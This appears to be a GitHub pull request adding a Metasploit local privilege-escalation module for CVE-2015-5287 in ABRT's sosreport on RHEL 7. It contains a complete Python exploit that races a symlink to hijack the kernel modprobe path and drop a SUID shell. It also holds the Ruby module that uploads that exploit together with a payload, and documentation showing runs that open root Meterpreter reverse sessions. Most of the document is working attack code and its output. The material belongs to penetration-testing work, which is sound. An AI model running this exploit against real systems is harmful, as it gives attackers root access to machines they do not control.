Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add ABRT sosreport Privilege Escalation module #11762

Merged
merged 4 commits into from
Sep 24, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
114 changes: 114 additions & 0 deletions data/exploits/cve-2015-5287/sosreport-rhel7.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
#!/usr/bin/python
# CVE-2015-5287 (?)
# abrt/sosreport RHEL 7.0/7.1 local root
# rebel 09/2015

# [user@localhost ~]$ python sosreport-rhel7.py
# crashing pid 19143
# waiting for dump directory
# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
# waiting for sosreport directory
# sosreport: sosreport-localhost.localdomain-20151130194114
# waiting for tmpfiles
# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ']
# moving directory
# moving tmpfiles
# tmpurfpyY -> tmpurfpyY.old
# tmpYnCfnQ -> tmpYnCfnQ.old
# waiting for sosreport to finish (can take several minutes)........................................done
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# bash-4.2# cat /etc/redhat-release
# Red Hat Enterprise Linux Server release 7.1 (Maipo)

import os,sys,glob,time,sys,socket

payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"

pid = os.fork()

if pid == 0:
os.execl("/usr/bin/sleep","sleep","100")

time.sleep(0.5)

print "crashing pid %d" % pid

os.kill(pid,11)

print "waiting for dump directory"

def waitpath(p):
while 1:
r = glob.glob(p)
if len(r) > 0:
return r
time.sleep(0.05)

dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]

print "dump directory: ", dumpdir

os.chdir(dumpdir)

print "waiting for sosreport directory"

sosreport = waitpath("sosreport-*")[0]

print "sosreport: ", sosreport

print "waiting for tmpfiles"
tmpfiles = waitpath("tmp*")

print "tmpfiles: ", tmpfiles

print "moving directory"

os.rename(sosreport, sosreport + ".old")
os.mkdir(sosreport)
os.chmod(sosreport,0777)

os.mkdir(sosreport + "/sos_logs")
os.chmod(sosreport + "/sos_logs",0777)

os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")

print "moving tmpfiles"

for x in tmpfiles:
print "%s -> %s" % (x,x + ".old")
os.rename(x, x + ".old")
open(x, "w+").write("/tmp/hax.sh\n")
os.chmod(x,0666)


os.chdir("/")

sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")


def trigger():
open("/tmp/hax.sh","w+").write(payload)
os.chmod("/tmp/hax.sh",0755)
try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
except: pass
time.sleep(0.5)
try:
os.stat("/tmp/sh")
except:
print "could not create suid"
sys.exit(-1)
print "success"
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
sys.exit(-1)

for x in xrange(0,60*10):
if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
print "done"
trigger()
time.sleep(1)
sys.stderr.write(".")

print "timed out"
118 changes: 118 additions & 0 deletions documentation/modules/exploit/linux/local/abrt_sosreport_priv_esc.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
## Description

This module attempts to gain root privileges on RHEL systems with
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
as the crash handler.

`sosreport` uses an insecure temporary directory, allowing local users
to write to arbitrary files (CVE-2015-5287). This module uses a symlink
attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path
in `/proc/sys/kernel/modprobe`, resulting in root privileges.

Waiting for `sosreport` could take a few minutes.


## Vulnerable Application

This module has been tested successfully on:

* abrt 2.1.11-12.el7 on RHEL 7.0 x86_64
* abrt 2.1.11-19.el7 on RHEL 7.1 x86_64


## Verification Steps

1. Start `msfconsole`
2. Get a session
3. `use exploit/linux/local/abrt_sosreport_priv_esc`
4. `set SESSION [SESSION]`
5. `check`
6. `run`
7. You should get a new *root* session


## Options

**TIMEOUT**

Timeout for `sosreport` (seconds) (default: `600`)

**WritableDir**

A writable directory file system path. (default: `/tmp`)


## Scenarios

### Red Hat Enterprise Linux 7.0 (x64)

```
msf5 > use exploit/linux/local/abrt_sosreport_priv_esc
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.165:4444
[+] System is configured to use ABRT for crash reporting
[+] abrt-ccpp service is running
[+] ABRT package version 2.1.11-12.el7 is vulnerable
[+] python is installed
[*] Writing '/tmp/.DcxBT2w' (2756 bytes) ...
[*] Writing '/tmp/.HUAWYz' (207 bytes) ...
[*] Launching exploit - This might take a few minutes (Timeout: 600s) ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (985320 bytes) to 172.16.191.151
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.151:50843) at 2019-04-20 07:21:24 -0400
[+] Deleted /tmp/.DcxBT2w
[+] Deleted /tmp/.HUAWYz
[+] Deleted /tmp/hax.sh
[*] waiting for sosreport to finish (can take several minutes)....................

meterpreter > getuid
Server username: uid=0, gid=1000, euid=0, egid=1000
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Red Hat Enterprise Linux 7 (Linux 3.10.0-123.el7.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```


### Red Hat Enterprise Linux 7.1 (x64)

```
msf5 > use exploit/linux/local/abrt_sosreport_priv_esc
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.165:4444
[+] System is configured to use ABRT for crash reporting
[+] abrt-ccpp service is running
[+] ABRT package version 2.1.11-19.el7 is vulnerable
[+] python is installed
[*] Writing '/tmp/.gFrwiGr' (2756 bytes) ...
[*] Writing '/tmp/.NA4fwK' (207 bytes) ...
[*] Launching exploit - This might take a few minutes (Timeout: 600s) ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (985320 bytes) to 172.16.191.218
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.218:51022) at 2019-04-20 07:23:24 -0400
[*] waiting for sosreport to finish (can take several minutes)..............

meterpreter > getuid
Server username: uid=0, gid=1000, euid=0, egid=1000
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Red Hat Enterprise Linux 7 (Linux 3.10.0-229.el7.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

160 changes: 160 additions & 0 deletions modules/exploits/linux/local/abrt_sosreport_priv_esc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,160 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'ABRT sosreport Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on RHEL systems with
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
as the crash handler.

`sosreport` uses an insecure temporary directory, allowing local users
to write to arbitrary files (CVE-2015-5287). This module uses a symlink
attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path
in `/proc/sys/kernel/modprobe`, resulting in root privileges.

Waiting for `sosreport` could take a few minutes.

This module has been tested successfully on:

abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and
abrt 2.1.11-19.el7 on RHEL 7.1 x86_64.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rebel', # Discovery and sosreport-rhel7.py exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2015-11-23',
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [[ 'Auto', {} ]],
'References' =>
[
['BID', '78137'],
['CVE', '2015-5287'],
['EDB', '38832'],
['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'],
['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'],
['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837']
]
))
register_options [
OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir']
end

def timeout
datastore['TIMEOUT']
end

def check
kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
unless kernel_core_pattern.include? 'abrt-hook-ccpp'
vprint_error 'System is not configured to use ABRT for crash reporting'
return CheckCode::Safe
end
vprint_good 'System is configured to use ABRT for crash reporting'

if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
vprint_error 'abrt-ccp service not running'
return CheckCode::Safe
end
vprint_good 'abrt-ccpp service is running'

# Patched in 2.1.11-35.el7
pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s
abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1]
if abrt_version.blank?
vprint_status 'Could not retrieve ABRT package version'
return CheckCode::Safe
end
unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7')
vprint_status "ABRT package version #{abrt_version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "ABRT package version #{abrt_version} is vulnerable"

unless command_exists? 'python'
vprint_error 'python is not installed'
return CheckCode::Safe
end
vprint_good 'python is installed'

CheckCode::Appears
end

def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
chmod path
register_file_for_cleanup path
end

def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py')
exe_name = ".#{rand_text_alphanumeric 5..10}"
exe_path = "#{base_dir}/#{exe_name}"
upload_and_chmodx exe_path, exe_data

payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload_and_chmodx payload_path, generate_payload_exe

register_file_for_cleanup '/tmp/hax.sh'

print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..."
output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end